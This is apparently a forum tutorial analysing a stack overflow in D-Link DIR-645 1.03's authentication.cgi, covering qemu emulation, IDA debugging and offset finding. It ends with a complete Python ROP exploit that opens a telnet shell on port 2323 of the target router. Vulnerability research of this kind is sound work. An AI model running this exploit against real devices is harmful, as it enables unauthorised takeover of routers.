[TOC]

固件提取文件系统

固件下载:ftp://ftp2.dlink.com/PRODUCTS/DIR-645/REVA/DIR-645_FIRMWARE_1.03.ZIP

qemu+IDA调试分析

1,run_cgi.sh脚本:

#!/bin/bash

# 待执行命令
# sudo ./run_cgi.sh `python -c "print 'uid=A21G&password='+'A'*0x600"` "uid=A21G"

INPUT="$1" # 参数1,uid=A21G&password=1160个A
TEST="$2"    # 参数2,uid=A21G
LEN=$(echo -n "$INPUT" | wc -c)    # 参数1的长度
PORT="1234"    # 监听的调试端口

# 用法错误则提示
if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]
then
    echo -e "\nUsage: sudo $0 \n"
    exit 1
fi

# 复制qemu-mipsel-static到本目录并重命名,注意是static版本
cp $(which qemu-mipsel-static) ./qemu
echo $TEST
# | 管道符:前者输出作为后者输入
# chroot 将某目录设置为根目录(逻辑上的)
echo "$INPUT" | chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E REQUEST_URI="/authentication.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /htdocs/web/authentication.cgi
echo 'run ok'
rm -f ./qemu    # 删除拷贝过来的执行文件

2,调试目标程序需要匹配正确。(有知道原因的可以跟帖回复,也方便大家览阅)

3,IDA分析,追踪问题函数

4,填充数据调试

IDA调试参考:

获得&ra在栈上的地址(这是非子叶函数的性质):

F8执行观察,直到栈上保存&ra的数据内容发送变化(可猜测这里可能时溢出点):

注意:为了防止后面可能出现二次溢出,或则其他处溢出才是真正影响被程序被控制的位置,我们继续F8执行观察。

程序异常结束了,发现时a1寄存器的值是栈上的,大概猜测一下是我们填充的值太大影响到了这位置上的值。

5,看看a1正常的内容读取:

缩短填充内容的长度,重新调试:

程序走到authenticationcgi_main的返回位置才退出:

如果需要看到更明显的步骤,可以自己找到此处再下个断点

结论:真实溢出位置就是read()函数引起的。

6,分析read()函数上下文传入传出数据。

先到read()函数跳转处分析参数的来源目的地

分析方法:由于MIPS是流水线执行指令顺序,寻找参数先到函数跳转处先向下查找参数,然受再向上查找参数。

最终得到read()函数原型:

read(fileno(stdin), var_430, atoi(getenv("CONTENT_LENGTH")))

7,注var_430计算大小方式:

根据栈中变量的顺序去计算

至此漏洞定位分析完,起始后面还有些危险函数可能存在危险溢出点需要验证,不过方法都无非是构造数据填充加上调试观察构造的数据位置。由于后面的函数都达不到溢出,所以就不附上步骤了。

  • 根据漏洞描述,POST提交数据时,并不是任意格式的数据都能造成缓存区溢出,需要”id=XX&&password=XX“形式的格式。

验证分析:

程序异常退出在此处,分析:

在向上分析,发现数据最终来源与$s2相关的数据,双击进入,发现固定格式,读取后面数据为strlen服务:

更改回要求的形式获得结果:

漏洞利用

1,调试确定偏移

这里分享个更方便的脚本patter.pl脚本生成构造数据:

#!/usr/bin/perl -w
use strict;

# Generate/Search Pattern (gspattern.pl) v0.2
# Scripted by Wasim Halani (washal)
# Visit me at https://securitythoughts.wordpress.com/
# Thanks to hdm and the Metasploit team
# Special thanks to Peter Van Eeckhoutte(corelanc0d3r) for his amazing Exploit Development tutorials
# This script is to be used for educational purposes only.

my $ustart = 65;
my $uend = 90;
my $lstart = 97;
my $lend = 122;
my $nstart = 0;
my $nend = 9;
my $length ;
my $string = "";
my ($upper, $lower, $num);
my $searchflag = 0;
my $searchstring;

sub credits(){
    print "\nGenerate/Search Pattern \n";
    print "Scripted by Wasim Halani (washal)\n";
    print "https://securitythoughts.wordpress.com/\n";
    print "Version 0.2\n\n";
}

sub usage(){
    credits();
    print " Usage: \n";
    print " gspattern.pl  \n";
    print "         Will generate a string of given length. \n";
    print "\n";
    print " gspattern.pl   \n";
    print "         Will generate a string of given length,\n";
    print "         and display the offsets of pattern found.\n";
}

sub generate(){
    credits();
    $length = $ARGV[0];
    #print "Generating string for length : " .$length . "\n";
    if(length($string) == $length){
        finish();
    }
    #looping for the uppercase
    for($upper = $ustart; $upper <= $uend;$upper++){
        $string =$string.chr($upper);
        if(length($string) == $length){
            finish();
        }
        #looping for the lowercase
        for($lower = $lstart; $lower <= $lend;$lower++){
            $string =$string.chr($lower);
            if(length($string) == $length){
                finish();
            }
            #looping for the numeral
            for($num = $nstart; $num <= $nend;$num++){
                $string = $string.$num;
                if(length($string) == $length){
                    finish();
                }
                $string = $string.chr($upper);
                if(length($string) == $length){
                    finish();
                }
                if($num != $nend){
                    $string = $string.chr($lower);
                }
                if(length($string) == $length){
                    finish();
                }
            }
        }
    }
}

sub search(){
    my $offset = index($string,$searchstring);
    if($offset == -1){
        print "Pattern '".$searchstring."' not found\n";
        exit(1);
    }
    else{
        print "Pattern '".$searchstring."' found at offset(s) : ";
    }
    my $count = $offset;
    print $count." ";

    while($length){
        $offset = index($string,$searchstring,$offset+1);
        if($offset == -1){
            print "\n";
            exit(1);
        }
        print $offset ." ";
        $count = $count + $offset;
    }
    print "\n";
    exit(1);
}

sub finish(){
    print "String is : \n".$string ."\n\n";
    if($searchflag){
        search();
    }
    exit(1);
}

if(!$ARGV[0]){
    usage();
    #print "Going into usage..";
}
elsif ($ARGV[1]){
    $searchflag = 1;
    $searchstring = $ARGV[1];
    generate();
    #print "Going into pattern search...";
}
else {
     generate();
     #print "Going into string generation...";
}

用法:

2,patter.pl脚本使用方法

有两种操作模式:
1) 只提供一个参数,即要生成的字符串的长度
( ./ gspattern.pl [length of string] )
2) 字符串的长度和要找到偏移量的模式提供
./ gspattern.pl [字符串长度] [搜索模式]

注(搜索模式):获得要计算偏移溢出位置的hex值,转化为ASCII码。(记住一定要根据大小端序来输入,下面步骤中已举例)

3,

生成构造数据(我直接写入文件了,它把description也一块写入了,需要进去删除下):

./pattern.pl 1160 > test_auth

调试确定需要的偏移位置值:

sudo ./run_cgi.sh `python -c "print 'uid=A21G&password='+open('test_auth','r').read(1160)"` "uid=A21G"

将0x38684237 转成对应ASCII码:8hB7

4,构造ROP参考:家用路由器漏洞挖掘实例分析

5,POC

import sys
import time
import string
import socket
from random import Random
import urllib, urllib2, httplib

class MIPSPayload:
    BADBYTES = [0x00]
    LITTLE = "little"
    BIG = "big"
    FILLER = "A"
    BYTES = 4

    def __init__(self, libase=0, endianess=LITTLE, badbytes=BADBYTES):
        self.libase = libase
        self.shellcode = ""
        self.endianess = endianess
        self.badbytes = badbytes

    def rand_text(self, size):
        str = ''
        chars = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZz0123456789'
        length = len(chars) - 1
        random = Random()
        for i in range(size):
            str += chars[random.randint(0,length)]
        return str

    def Add(self, data):
        self.shellcode += data

    def Address(self, offset, base=None):
        if base is None:
            base = self.libase
        return self.ToString(base + offset)

    def AddAddress(self, offset, base=None):
        self.Add(self.Address(offset, base))

    def AddBuffer(self, size, byte=FILLER):
        self.Add(byte * size)

    def AddNops(self, size):
        if self.endianess == self.LITTLE:
            self.Add(self.rand_text(size))
        else:
            self.Add(self.rand_text(size))

    def ToString(self, value, size=BYTES):
        data = ""
        for i in range(0, size):
            data += chr((value >> (8*i)) & 0xFF)
        if self.endianess != self.LITTLE:
            data = data[::-1]
        return data

    def Build(self):
        count = 0
        for c in self.shellcode:
            for byte in self.badbytes:
                if c == chr(byte):
                    raise Exception("Bad byte found in shellcode at offset %d: 0x%.2X" % (count, byte))
            count += 1
        return self.shellcode

    def Print(self, bpl=BYTES):
        i = 0
        for c in self.shellcode:
            if i == 4:
                print ""
                i = 0
            sys.stdout.write("\\x%.2X" % ord(c))
            sys.stdout.flush()
            if bpl > 0:
                i += 1
        print "\n"

class HTTP:
    HTTP = 'http'

    def __init__(self, host, proto=HTTP, verbose=False):
        self.host = host
        self.proto = proto
        self.verbose = verbose
        self.encode_params = True

    def Encode(self, data):
        #just for DIR645
        if type(data) == dict:
            pdata = []
            for k in data.keys():
                pdata.append(k + '=' + data[k])
            data = pdata[1] + '&' + pdata[0]
        else:
            data = urllib.quote_plus(data)
        return data

    def Send(self, uri, headers={}, data=None, response=False,encode_params=True):
        html = ""
        if uri.startswith('/'):
            c = ''
        else:
            c = '/'

        url = '%s://%s' % (self.proto, self.host)
        uri = '/%s' % uri
        if data is not None:
            data = self.Encode(data)
        #print data
        if self.verbose:
            print url
        httpcli = httplib.HTTPConnection(self.host, 80, timeout=30)
        httpcli.request('POST',uri,data,headers=headers)
        response=httpcli.getresponse()
        print response.status
        print response.read()

if __name__ == '__main__':
    libc = 0x2aaf8000    # so动态库的加载基址
    target = {
        "1.03"  :   [
            0x531ff,    # 伪system函数地址(只不过-1了,曲线救国,避免地址出现00截断字符
            0x158c8,    # rop chain 1(将伪地址+1,得到真正的system地址,曲线救国的跳板
            0x159cc,    # rop chain 2(执行system函数,传参cmd以执行命令
            ],
        }
    v = '1.03'
    cmd = 'telnetd -p 2323'        # 待执行的cmd命令:在2323端口开启telnet服务
    ip = '192.168.0.1'        # 服务器IP地址//here

    # 构造payload
    payload = MIPSPayload(endianess="little", badbytes=[0x0d, 0x0a])

    payload.AddNops(1011)                # filler # 7. 填充1011个字节,$s0偏移为1014,129行target数组中地址只占了3,04-3=01
    payload.AddAddress(target[v][0], base=libc)    # $s0
    payload.AddNops(4)                            # $s1
    payload.AddNops(4)                            # $s2
    payload.AddNops(4)                            # $s3
    payload.AddNops(4)                            # $s4
    payload.AddAddress(target[v][2], base=libc)    # $s5
    payload.AddNops(4)                            # unused($s6)
    payload.AddNops(4)                            # unused($s7)
    payload.AddNops(4)                            # unused($fp) #<<揭秘家用路由器0day漏洞挖掘技术>>这里是$gp,可能是作者笔误吧,实际验证应该是$fp,下面注释给出验证数据。
    payload.AddAddress(target[v][1], base=libc)    # $ra
    payload.AddNops(4)                            # fill
    payload.AddNops(4)                            # fill
    payload.AddNops(4)                            # fill
    payload.AddNops(4)                            # fill
    payload.Add(cmd)                # shellcode

    # 构造http数据包
    pdata = {
        'uid'       :   '3Ad4',
        'password'  :   'AbC' + payload.Build(),
        }
    header = {
        'Cookie'        : 'uid='+'3Ad4',
        'Accept-Encoding': 'gzip, deflate',
        'Content-Type'  : 'application/x-www-form-urlencoded',
        'User-Agent'    : 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)'
        }
    # 发起http请求
    try:
        HTTP(ip).Send('authentication.cgi', data=pdata,headers=header,encode_params=False,response=True)
        print '[+] execute ok'
    except httplib.BadStatusLine:
        print "Payload deliverd."
    except Exception,e:
        print "2Payload delivery failed: %s" % str(e)

注释:栈内数据对应寄存器

qemu开启仿真环境

1,打开qemu系统

sudo qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic -net tap -nographic

2,利用SCP把路由系统文件传过去,之前文章有写过,不清楚的请看参考链接。

3,开始仿真环境前准备

挂载固件文件系统中的proc目录和dev目录到chroot环境,因为proc中存储着进程所需的文件,比如pid文件等等,而dev中存储着相关的设备:

mount -o bind /dev ./squashfs-root/dev
mount -t proc /proc ./squashfs-root/proc/
chroot ./squashfs-root/ sh

然后进入/etc/init.d/目录下,执行./rcS(init.d文件夹下存储的是启动的时候初始化服务和环境rcS文件)启动:

然后根据报错提示去修复

当然用别的仿真环境跑起来也都一样运行,这里我没启动成功,主要是分析漏洞整个流程。关于如何更好的仿真实现开启路由环境,欢迎大家交流。

run_cgi.zip (0.001 MB) 下载附件
点击收藏 | 2 关注 | 1 打赏
  • 动动手指,沙发就是你的了!
登录 后跟帖